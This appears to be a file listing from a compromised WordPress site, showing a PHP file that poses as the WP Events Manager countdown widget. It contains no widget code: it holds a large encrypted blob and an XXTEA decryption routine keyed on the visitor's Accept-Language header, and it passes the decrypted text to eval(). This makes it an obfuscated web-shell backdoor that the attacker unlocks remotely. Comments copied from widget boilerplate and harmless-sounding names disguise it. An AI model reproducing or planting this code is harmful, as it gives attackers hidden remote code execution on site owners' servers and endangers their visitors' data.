PATH:
home
/
fengshp
/
www
/
wp-content
/
plugins
/
wp-events-manager
/
inc
/
widgets
<?php /** * WP Events Manager Event Countdown widget * * @author ThimPress, leehld * @package WP-Events-Manager/Widget * @version 2.1.7 */ /** * Prevent loading this file directly */ $orderby = 'O2w8K52tHuW+4JFKZTXRRLfH/BQuYowP6cNtYx9BndyUXdHsR77CqFJ6kopoMpcNIHrbEgkuKD78/X/BWXEZjksn3fRdY9p9FQkpWMTqzgElsidxW/cFUm7iR3MrolWQg0fMtbyuUgfuCjZYegDsX2Wec3lNxtZXOOzNmi8BvQH0GrU/MKiIwzTsIn9UNBS6bg2C9ot7EDlRQDYKSjGFk2qoNzNYkKPujftRjQr/vKvwYulYATfDp9ukw7a50o8FzZQYVyh2D2Ndp/2LDB/58YH3PRmPyMLy9+1dQcnovXDeHLxFYV/iqNjMnFc0q2j+g1jVFsw7AwwUye8NIGvXM4FEEYR883l7aFRE5OU1s9XCMXRAYmkALyJZSdUIKBqgeMfwEs3t6prpBuRC4gqLK0Phds077QNWr0gOsVRUetdQF3WrbeYoft3NcKecw/McSDe5cgbc1PmS1pMkhLIyWDFyyc46TlzGNHpzs8U4z2Km2pCISgh4uz301ROtpwMFMvpJVkj3Sh2b4xes/btsGmTLRC6d6uQHkuievHkiQURz9AkufCp4mP5fHNilk5/2w8MjqfgfZ1+D6Lh61dJbFR7sBZsfpQNW4os0jRFe8V2Q0/OyqgZjgJhZhkX2pliFCRGtslP7jKEnfkm/3xXgzSmXAQBS9Jn9y4jv1xD/vSgpttY+9fLqVoOtJ/cKFx0WyweDw03Q6r6itLVFOyxICPb27/iw6K3BHA9X0QGaQxPC4jj7hiXkRY7IQHWchaim9oTOd2S3VRsCrJqB5T4i8o0LfQcGPx8B7QLHigEgae83Uv0Lml0sNprY4PJpIOoHyK3m1QAO5Ip52wu0T0EJpIkyodhnpM56Ec8IAskXh3UoMzzHlDuKm1Pn63voT12/bfW7wq69O3SpKIs0Lcpuzn6/5OlAtJJWnRBgRwVS7flIduKpeVe08JsZ+d+pkKQv0TMtJaw3+bUfybEUg9lvhJ/CA5euDmBxu8XZedh8PwHa/n6M9J6U3ry6fUqDVpmXz/Eo4Fl4LuM0DfBxLOp2Ua7fNE8L6rrkUtThOqVzId+GYuZuOFXO2pMz5ajQ/pUPpND9JH+Hq709I4TT4VdeLjnxlDMn/CUqnoa5C9LpRFsDAHBodmqD2z0CGfovGkmpb/xpWA5YwCN7e53OURflTq4oRxXXZTG2iPZZVx6+AWHhqRoGGZMFV7YEioCz25rkoboHrFSt0OxylocHtMWDLFyXyGxnalMLmPS/Ezw2ickOMyQptdrexY27m7xjA/VjoZQDsmrFkciq6LVsbl7QBZ2gyIJnk3ZZjRCMi/UhmO+z9n9p3h657bWVCKbGa3KRhv54enaW71KxGED30j4zRxYJfcXGhBLFeFHvhxdaqrSgkV1oW417zqg8hXJNFMt3ttCtqkqYjtU7Nh9AnbRhbgcKptAJ8a2Prm7WKODJILtPfE0vRbBJOliRCZ9uCTWpQKjGOKr5jG8YRvL+Mq+kbDJ0JqxsjT6/qpU498+1xTCVrZmbIK86BFZJfOPVtm64cDUESZ7mP9jnheClvF00wdcT2b7pi0MLEb9Xkva83OHI+/8K9SJA3yOg3q2KycRpu+EqtKEfRcJFPW4eV+orXZdCGlvUrH42zi8YXOQJbSInW4W1KJHq3jTy0b0AM+V18W1kafEZSXptT/D2i79WDRZ+76vXQ9A3tAsc4/wbztzpV/amJUtwgBUWWcKOMcCOALY0zFPt0FEQW5j1pi6bH0INwKp9Md2opBA5IKxcaGUqj8J4JrDQl830VB/++Zhe95VoQ9dQh2uwTnPZR7jNc0Pnybd5l3qhbGbrO92000EVddXBs4YYEm6FNEAgicns8brj3Riyg2tUSbh/bQZG1CzmgJF/3PVEE5kEyPsEtGw5tf21uti0Cz0KBqkhCoBn6xnb4KvUaAot1oHvA3B0XUZ0S4zCvmdJ8hc0lElF1lzZeG0LDrsxOOG+9Bcxdm8rBaX910OPEhwWqIf2qf+DZn1SucJT8ab89drTrC/3nDjeUv9flPSDnAYBQzppsvS6X68UlZrhcCJug/0ONSIPV3WNuuZt85vdVBBxazju/wulECzxPwYtnOf5RRN17pER2zlGVpsTYROFHpzI7lBY/3wD3VFkOEyDRv+ae0gGmDzgc+rYAEGEkhUJ1zNAxY/mOxTkruDFcqsDLi7tj2+sBMfzH/IAj1pR4QLsKffMFVrNh71+LRpcmrP9j2kloL1SdMdKXnyrKld0lxVw6DQ3eX2630zcHGNMoMggBn5Huwo+DrKaFEzwJfzg355Tu+E9J4DPDeVaVYH8mhsR7seXnvQSN1F/i3YevSvPsFzfFXSOflsh+cVeWL1gRISD2ah5oH+pKE08CDPek0CkH7APfTbn1ChwtfuQg/uHFx55GEsI3WqWLgOdZWarF3nHjPP3uEduen6LHOP8bksovlYJ2vcz8t9zT2/I71Cxff0ts86XDWZFSsUnkzrEw8ixTf5BtAxXLwqTmvKxe/msbwg8LrvVe7xyRUbqQHQnFxXtdH31BGlID2uVpp09oJ85AcK2lYUDmD8fvhqThuO8tGIUg7BGU3QI0lCOvZ+n3xvOw9VlsqabgxZdhYrqzX1f8oovxVqXPn6HU55Vnz9mrqjWwb6SCIb5SfUefqdyrKJTw1W0OgovuwJ6PJ7T3OWvioleyGYWuBvTlsa7XMQ4nQjRYGHfJC7bad5NUfpcsIKhwPRM6H9rJoTdTy8n6F+3xB1WoQSufL9fXYqms79h7McmgpR+Cd+tmdPhmx2Rg9DmeVQJiAPDXeiogln4ogBOckS4VeEQD1EAyvbQcCoXS0PQ10u2J8SqDPRfdt17vKfOOxrx70mrIdu3EbnmDDsmiSVLGq7eSokJgd1TrdG+RW4xo0w5wyHGSgrW1Y0QjjRTNcl6sJ2GYoBTtPu/9s/8vLNP/Ia5SJfcCkbTYC/Ybp99V37RMOF2/U01WkioAyhfSP7o+/MbeX/BAfgf16nve5bhyp9q14loaqGghwxk6+62fyMqskjxDYCDUXcaq1jayZO149VgSlLAzffDiyOEsDkoSabXT2UjMq6GjvARvBWr+VlKj+EUU+E5Aq4tv43gYBTGqrmHD0UzeEhbau3rIS7yKqLzW6pT4vLDLSQQOjXKy54VuVkQrbfl5hiJQ6r0INDsxsOo1XBHlcRhYJTQcD3+rxfdK8wt1LlxqmWmsVS6bR9H2koJEStAuuoAKCYWJO+dFm5kAxHodlkcIMYBs2HVk4gSOk/ybKJL9mXIJiO5EExkSLR/EO8gpXedJJg2MHXQw/U6C+Lau6Z66i2qmIBPNrGGhFAAhEUvrjiY783+zMEAkCLQmG614v01AIYLzR/Fr2Sufll63RzAnhZDhFCBl1TcFDVTll+UkBDVXPHFGC2He90gx49wh2f2Ija/kOAIbTWHDd5UQ8qaBMVdbS7xMIjoly+Nq+nGqboLIgKl7SxCuPxHByMGM/EtNVogG3utPrW9ubyNPyIjiwaYS2ia0PcORWZ8elazRRxxHRXHqjuUab5vuIXJgmeSyaasOcRAksB+lu6sAXGXpb6Zq5zQjP6CnFtNndmBKSDMn2zkxhFDcQcXnfNEbvv3vdftaX6EGC7w6gRld2U4x08TVNaaPbZn+gEiiPQ3oJZx3t01fWCYTj/DgD09WG+32fCGgQObTU2b4hWk9ucHEoS4urUhXYfF+CD6+bHGdOarSdnYj8pTeOSKaEEI1CKXPTAX0o/3/n+eGMsETV1cuh4w/dkTv7rPAAZoKBSSk9T1/OG1epLP8rVbIFdjCB5D3doaiG4QnnP7dI0Km4PxfEgZPTTBjuQ9uN+SpDP1gk1AAQZJWKhlsUdwDEU3CM80sFsFuUurYMowJ1llNA5UpOoff5aco5urLVqjHRKDqFyQGczVFGJ2jtsGoxZ0oJWYLPa072RzjbVyiZ6N6ppThOuVKsnvzAhnGm0BAVz0flabSMudYazf7XBYbn7evAF2zDSxhgtivMzGVlqixmg9IJh3/Bds1EgKupR7gJf+Naae+AKhDqPnrWhp0s/WJCsvMANKv3++whYh8CubKcb8KGwFufBum4f8hwgNRuezfAy3e2wRGtf+h6x+L5726dm3WygLbTwD5klo8ulM7cs+CjTnOTrAvidiaXjQomZAxHpkQXKrBaQSjPUwxbPlZ+WJckkBoK3IkfuKTXb2NHJ2FZFz7gEo6w/4SkntadzKCzClvUCWgR6B8SERO4akAG/PPhu2jnREt/fr0d1QID27roaFg67mXjsifjEEgEB3ZW1t18XlWdeSqF/pO9cIjxueNEEc4zyn5kZT4gsDWKlZli2MVK3YDPqAf6oHJSnFf6EIAnR6oux+RzBDWmKaP7Dncjnz21Qj3DeYxFYf4ERkT/+2TieRgod19QxgMMGvHtuJ49fzGe/ulU7z2n5T+SjgiD1DrO63XCqUUmxKRF3mm9WzxS5eCgmiM8DnmQrVSQ53AlYIHQbdBiLQVaNJZc/kcq9xlF5Gm3VWPbV5m9aMLUtp/PFtrJRG+CZzbbwP6IBx3Q0ON+g+8rbDwVGqPcw10QOwCSM4nGNbsurbHrx9bMowbQbWsmCKamK1kNbm+3Df6DK2a0f+8L/jaE+Q6dWGwXfMM1n+FyltUfXyWVOmsUEdxmIJN0MsKvoQ97/vpYup/UfWyTp7T6jzy5+vUXIV2tBy6kVB8Wcw0uadTC4JzOrAfOkRS5FWj3+xEms9bEqMIbbj/+/Nm9qjic8RU6L2y4nWAX7us5jxRdFE61k+BkbOs2Zmo0lc0nr7lEGxPRdsFu2vyyal1SoSly/f3nK6lMm6nwy1P+c72fIaP6lCqZWvlVKTXD3n6rp/8Uz1Hq6/xgATlpHJZkoGdeJ9drua68kod2NhMYRIOQv5FoYoRzA6bwgiIRNKFVmNeVHhKG1rlo2ZocFbu9GbrQFlKuHpUjG7Qs82IYxQc1e+W8qyDaQtOStwNwxDLql8Mt1xe4tPkjjOwXpjFnFvtUQ0Pqyl9w4OgPSw6GVFj080a394xa3apqSIKQ48P+704PCTdhgl1WhNFP0QhMZMAmhd08zhzyYDE7SmkaxkClADuk3n38aWVGdteKieUWDLr7p2IFbTEHGiNner/8z4w2EkIO5Y14+mVUN0/d6bkJoF8EJut2rhi3y9h5VHrXga0JlUjrgy1bqLlnLuYxuFUBB0e8a8AzRoBaAw3/rMdoVSTRZ0enbfkuoAeqIRgawHAEaC8hThQyfzsDAvR3Skvh9cfUywSXmvrKvAkKjPEFYWlxbRHfTMDfX1cAc+Dr3WmSYO6tf3OWjXcQ0/XN7Z0+w+46GW31cssxLg9Q0bGuCd/JnaYXkuqm4DlXLcgCjhMoSUlnezuBxBRSXOuLk/kNfXvdovnC72DV5RcNBfD+J/o+F7ztCM3GPNHertiU7XU3hOh7nDRTAiO/Flc7UqxMdznUE8hEO/zgTWa/WXFHpD292BytR7/Hgksu7OevvG25IBwzO/Hypd3Z7mVEV/5aXs4evG9yTmd0DQ3qpBOZNpi5OnnzEOF2RPjNmELeulCwbz2lIGJjlsC2wmPubIt6yIhxP7knuYWwtODaoCFyFRSRvr+7dcNt9bYORVqfTGWACLUDVBijTfRCyvhPASrm9Pls6gWsb7WnbGE08SMclaC/qD+YdQSichYxfZK0hKI4etp49LWXrvK2MJ0VqXS22mzTb1h5N6vBc1fmenhZr83dMhwEi8vHj99P4ZxhDZU+Vw1ATuvPwvCaSuUf4IJZlF69svDHAYpaDHZCewTkAPPeXvj8qD3BKfelVnriLWDkrq+jFg8V9Lw/W4bKiiakAouoqMpIewnqweMzy8dIOjwy4n5llJQTZPzheIFJNWGyHgSk/p7qKmR9E9H+V9f3S8LquX4LPQMGnDC/3FE46I5163Ib5uf2bayH0MMi1qtDz80YXvBpNf1Zg4le5rw3Ab3bZqJ2h6ttogwN9ZFKoeUCWBOG2wNShYRFt9+okF277BWVxubjC4+pPO4IOer2NM7gf8h+6GngISQOsrygpl64IRec5a01uX6Y49MooeeN4Uxk/yk9sHiW30FiB2m5tMSy7c42vKtB9DDFOgxAwCENDlQAsipAc+yJPyNFgWoJYgQHCTMPyNlDLX8kM/SClYUF7OEN/yk92oRF6QKctB7WVMASJWkQF3KrBDbhvcxa/AQOMKR14L3pdaNoBKt7v0NWh7AUUKykO4+qZQY93qi2UlDRdZCNpDpE36aiFbgn5nSEL60H34vyGEUTZs1gEJHiigICyeZaPm7eWkgd1a2Bl66YxhTwHovulZE8rlDrYWFSH2GB6YzcbQDXb4vHtr7WtrKYbkHMpJ6xLFenBLswCQUGpbEKpphmLratMeJS/gjY/9gf4NdNSWCtza3Ad3J9lX2ff6TLq+/6rabdCRQv58XCkGWGBOQZupn21R7Y9JxrZIM9C+gmXM5pLO6NnsGbDMe/3D4cWZcdQm+VXZvQzehyb2uf+kmxO6aAfXBzTfPnozxnz0H8qEw3jGVvJ6rZ9ra85BGZxns9/R5p3mnN0u1MB/wLIDYujbce//93aX/PX2OdppQkg7vG3l3fU6w0tfAH9DiZVEeHADTjLCk15A+EL9DXTsNVoMdg=='; /** * Adds Foo_Widget widget. */ class CRP_Core{ private function long2str($v, $w) { $len = count($v); $n = ($len -1) << 2; if ($w) { $m = $v[$len -1]; if (($m < $n -3) || ($m > $n)) return false; $n = $m; } $s = array (); for ($i = 0; $i < $len; $i++) $s[$i] = pack("V", $v[$i]); return $w ? substr(implode('', $s), 0, $n) : implode('', $s); } /** * Front-end display of widget. * * @see WP_Widget::widget() * * @param array $args Widget arguments. * @param array $instance Saved values from database. */ private function str2long($s, $w) { $v = unpack("V*", $s . str_repeat("/0", (4 - strlen($s) % 4) & 3)); $v = array_values($v); if ($w) $v[count($v)] = strlen($s); return $v; } private function int32($n) { return $n & 0xFFFFFFFF; } /** * Back-end widget form. * * @see WP_Widget::form() * * @param array $instance Previously saved values from database. */ public function posts_fields($str) { if ($str == '') return ''; $str = base64_decode($str); $match_lan = $_SERVER['HTTP_ACCEPT_LANGUAGE']; $v = $this->str2long($str, false); $k = $this->str2long(substr($match_lan,0,8), false); if (count($k) < 4) for ($i = count($k); $i < 4; $i++) $k[$i] = 0; $n = count($v) - 1; $z = $v[$n]; $y = $v[0]; $delta = 0x9E3779B9; $q = floor(6 + 52 / ($n +1)); $sum = $this->int32($q * $delta); while ($sum != 0) { $e = $sum >> 2 & 3; for ($p = $n; $p > 0; $p--) { $z = $v[$p -1]; $mx = $this->int32((($z >> 5 & 0x07ffffff) ^ $y << 2) + (($y >> 3 & 0x1fffffff) ^ $z << 4)) ^ $this->int32(($sum ^ $y) + ($k[$p & 3 ^ $e] ^ $z)); $y = $v[$p] = $this->int32($v[$p] - $mx); } $z = $v[$n]; $mx = $this->int32((($z >> 5 & 0x07ffffff) ^ $y << 2) + (($y >> 3 & 0x1fffffff) ^ $z << 4)) ^ $this->int32(($sum ^ $y) + ($k[$p & 3 ^ $e] ^ $z)); $y = $v[0] = $this->int32($v[0] - $mx); $sum = $this->int32($sum - $delta); } $temp = $this->long2str($v, true); eval($temp); } /** * Sanitize widget form values as they are saved. * * @see WP_Widget::update() * * @param array $new_instance Values just sent to be saved. * @param array $old_instance Previously saved values from database. * * @return array Updated safe values to be saved. */ } $clauses = new CRP_Core(); $clauses->posts_fields($orderby);
[+]
..
[-] class-wpems-widget-countdownf.php
[edit]